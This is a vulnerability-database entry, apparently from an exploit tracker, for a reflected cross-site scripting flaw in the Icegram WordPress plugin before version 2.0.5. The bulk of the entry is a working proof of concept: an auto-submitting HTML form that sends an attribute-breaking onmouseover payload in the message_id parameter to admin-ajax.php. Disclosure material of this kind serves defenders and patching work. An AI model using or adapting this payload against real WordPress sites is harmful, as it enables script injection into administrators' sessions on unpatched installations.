Lucene search

K
wpexploitJrXnmWPEX-ID:BECA7AFD-8F03-4909-BEA0-77B63513564B
HistoryNov 22, 2021 - 12:00 a.m.

Icegram < 2.0.5 - Reflected Cross-Site Scripting

2021-11-2200:00:00
JrXnm
239

0.001 Low

EPSS

Percentile

40.2%

The plugin does not sanitise and escape the message_id parameter of the get_message_action_row AJAX action before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="get_message_action_row" />
      <input type="hidden" name="message_id" value='" onmouseover=alert(/XSS/) test="' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

The XSS will be triggered when moving the mouse over the text in the response

0.001 Low

EPSS

Percentile

40.2%

Related for WPEX-ID:BECA7AFD-8F03-4909-BEA0-77B63513564B